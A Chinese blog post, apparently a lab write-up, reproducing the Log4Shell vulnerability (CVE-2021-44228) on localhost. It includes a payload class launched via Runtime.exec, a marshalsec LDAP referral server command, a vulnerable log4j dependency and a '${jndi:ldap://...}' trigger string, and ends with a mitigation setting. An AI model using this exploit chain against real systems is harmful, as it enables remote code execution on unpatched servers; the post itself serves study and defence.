apache Log4j2漏洞复现(CVE-2021-44228)

浅浅了解一下log4j。

        log4j是apache著名的开源日志框架,log4j是log4j2的前身。Log4j主要由 Loggers (日志记录器)、Appenders(输出控制器) 和 Layout(日志格式化器) 组成。其中 Loggers 控制日志的输出以及输出级别;Appenders 指定日志的输出方式(输出到控制台、文件等);Layout 控制日志信息的输出格式。

        JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口)。

             JNDI主要由JNDI API 和JNDI SPI两部分组成。

             Java应用程序通过JNDI API访问目录服务。

             JNDI API会调用Naming Manager实例化JNDI SPI。

            调用JNDI的API应用程序可以定位资源和其他程序对象。

            JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA 。

        RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。

        漏洞形成的原因:log4j引入jndi的原因,可以更方便地获取一些可打印的对象进行日志统计 。 所以log4j支持的${jndi:xxxx},支持jndi进行lookup来寻找对象并打印。

回归正题:

Log4j2漏洞复现(CVE-2021-44228)

影响范围:Apache Log4j 2.x <= 2.15.0。

远程代码:

Exploit.java

import java.io.IOException;
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }

        }
    }

编译成class文件(Open in——>Explorer),上传到PHPstudy 的/www目录下。

准备一个LDAP服务器。

首先我们使用java 开源项目marshalsec,,快速搭建jndi相关server,ldap,rmi。

链接:https://pan.baidu.com/s/18bgwtishw0tP_7ZnDWaJ3w
提取码:1111

需要安装maven依赖

链接:https://pan.baidu.com/s/18siTyeZX5C_OsoDM8-Binw
提取码:1111

配置环境变量:

 

编译:

进入到marshalsec文件夹输入如下命令:

mvn clean package -DskipTests
mvn "-Dmaven.test.skip=true" -P 

在启动LDAP服务器之前需要一个http服务器(此处是小皮面板phpstudy):

 管理打开根目录:

在根目录中上传一个Exploit.class文件。

Exploit.class由Exploit.java编译而来。

import java.io.IOException;
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }

        }
    }

如何编译:在编译文件的当前目录右键打开

将.class文件复制到phpstudy的根目录.

启动小皮面板:

 

启动LDAP服务器:

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1389

http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1389 指ldap服务的端口.

可以在这里修改LDAP端口号。

建立LDAP的客户端:

注意java Version 8与JDK一致,管理工具Maven.

在pom.xml中添加log4j依赖。

 <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>

建立log4j.java

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.error("${java.os}");
        logger.error("${jndi:ldap://127.0.0.1:1389/test}");
    }
}

 运行

复现成功:

以下我是配置IDEA中出现的问题:

关键在

Project bytecode version 选择与JDK对应的版本。还有Moudle中的版本。先Apply——>ok.

同理:

补救措施:

log4j2.formatMsgNoLookups=true按照官方api解释说明,当这个值为true时,就不执行lookup。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值